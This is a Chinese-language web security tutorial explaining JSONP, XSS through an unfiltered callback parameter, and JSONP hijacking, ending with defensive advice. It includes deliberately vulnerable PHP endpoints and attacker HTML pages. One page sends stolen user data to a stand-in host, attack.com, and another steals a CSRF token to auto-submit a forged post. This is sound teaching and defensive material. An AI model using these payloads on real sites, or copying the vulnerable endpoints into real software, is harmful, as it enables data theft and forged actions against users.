Jsonp劫持
JSONP
介绍
jsonp是一种协议，准确的说，他是json的一种使用模式，为了解决Json受同源策略限制的问题。
基本语法
JSONP的基本语法为：callback({“name”:”test”, “msg”:”success”})
常见的例子包括函数调用（如callback({“a”:”b”})）或变量赋值（var a={JSON data}）。
应用场景
json
假设在192.168.7.166下放了一个test.json
{ username: "Sentiment", password: "123456" }
这时192.168.7.166下的html文件需要发送AJAX请求去访问这个test.json文件
<script src='./jquery.js'>script>
<script >
$.ajax({
url: 'http://192.168.7.166/test.json',
type:"get",
dataType: "json",
success: function (data) {
console.log(data);}
})
script>
此时该HTML文件和test.json同域，所以HTML文件能够正常获取json文件的内容。
若将test.json放到192.168.43.136下，HTML与test.json不同域，这时去访问jsonp.html，发现受同源策略限制被拒绝
这时就需要用到jsonp来解决这个问题
jsonp
jsonp简单地说，就是利用script标签的src属性能够发起跨域请求的原理来实现的。
因此只需将test.json中的内容按照javascript规范去规定，便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法，并带入参数即可，这也就是jsonp的核心原理。
<body>
<script>
function callback(data){
alert("name:"+data.username+" passwrod:"+data.password);
}
script>
<script src="http://192.168.43.136/test.json">script>
body>
在test.json中按照javascript代码规范调用callback函数，并将数据作为参数传入
callback({ username: "Sentim", password: "123456" })
此时请求jsonp.html，成功请求跨域json
JSONP跨域漏洞
JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。
callback自定义导致的XSS
我们知道，在JSONP跨域中，我们是可以传入一个函数名的参数如callback，然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。
如果JSONP端点对于用于传入的函数名参数callback处理不当，如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时，就会导致XSS漏洞的产生。
jsonp.php
if(isset($_GET['callback'])){
$callback = $_GET['callback'];
print $callback.'({"username" : "Sentiment", "password" : "123456"});';
} else {
echo 'No callback param.';
}
?>
请求后触发xss，此时发现php默认的content-type为text/html
起初使用Java部署了这个环境，但由于未对Servlet容器的content-type进行默认设置，默认为null，导致没有弹窗
其它content-type类型
经测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS
JSONP劫持
因为jsonp实现了跨域资源访问，如果获取的数据能够成为下一步操作的凭证，那么便可以引起jsonp劫持。
Demo1— 窃取用户信息
设置模拟用户登录页面 login.php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
$_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
if ($_GET['logout'] === '1') {
unset($_SESSION['name']);
}
}
echo '用户信息
';
echo '退出登录
';
if(!$_SESSION['name']){
echo '
登录
';
}else{
echo "欢迎您, ".$_SESSION['name']."
";
}
?>
查询信息页面
info.php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
echo $callback."({'id':1,'name':'Sentiment'})";
} elseif($_SESSION['name'] === 'guest') {
echo $callback."({'id':2,'name':'guest'})";
} else {
echo $callback."获取个人信息失败";
}
?>
当用户登录后，访问info.php便能查询到自己的信息，此时构造恶意html
<html>
<head>
<title>loltitle>
<meta charset="utf-8">
head>
<script src="https://code.jquery.com/jquery-3.6.0.min.js">script>
<script>
function jsonp_hack(v){
alert("JSONP hijacking");
var h = '';
for(var key in v){
var a = '';
a = key + ' : ' + v[key] + ' ,';
h += a;
}
alert(h);
$.get('http://attack.com/index.html?value='+h);
}
script>
<script src="http://victim.com/info.php?callback=jsonp_hack">script>
<body>
<h1>Welcomeh1>
body>
html>
引导用户访问后成功被jsonp劫持
Demo2— 劫持token
下面的示例模拟通过JSONP劫持窃取token来发表文章的情形。
add_article.php，放置于目标服务器中，功能是发表文章，前提是token值成功校验通过：
if(!empty($_POST['token'])){
$csrf_token = $_POST['token'];
$title = $_POST['title'];
$content = $_POST['content'];
if ($csrf_token === 'jsonp_test')
{
echo '文章发表成功~'.'';
echo $title.'';
echo $content;
}
else
{
echo 'csrf token error';
}
}
else
{
echo 'no token';
}
?>
token.php
header('Content-type: application/json');
if(isset($_GET['callback'])){
$callback = $_GET['callback'];
print $callback.'({"username" : "Sentiment", "password" : "123456", "token" : "jsonp_test"});';
} else {
echo 'No callback param.';
}
?>
attack.html，攻击者用于诱使用户访问的文件，放置于攻击者服务器中，用于访问目标JSONP端点获取token之后，再带上该token向目标服务器的add_article.php发起请求来发表文章：
<html>
<head>
<title>JSONP Hijackingtitle>
<meta charset="utf-8">
head>
<body>
<form action="http://victim.com/add_article.php" method="POST" id="csrfsend">
<input type="hidden" name="content" value="Hacked by Sentiment!">
<input type="hidden" name="title" value="Oops!">
<input type="hidden" id="token" name="token" value="">
form>
<script type="text/javascript">
function exp(obj){
console.log(obj);
var token = obj["token"];
document.getElementById("token").value = token;
document.getElementById("csrfsend").submit();
}
script>
<script type="text/javascript" src="http://victim.com/token.php?callback=exp">script>
body>
html>
引导用户访问后成功劫持token
防御
- 若可行，则使用CORS替换JSONP实现跨域功能；
- 应用CSRF防御措施来调用JSON文件：限制Referer 、部署Token等；
- 严格设置Content-Type及编码（Content-Type: application/json; charset=utf-8 ）；
- 把回调函数加入到白名单
参考链接
http://www.mi1k7ea.com/2019/08/20/JSONP%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
https://zhengbao.wang/jsonp%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E/
JSONP与JSONP劫持漏洞的学习 - 先知社区 (aliyun.com)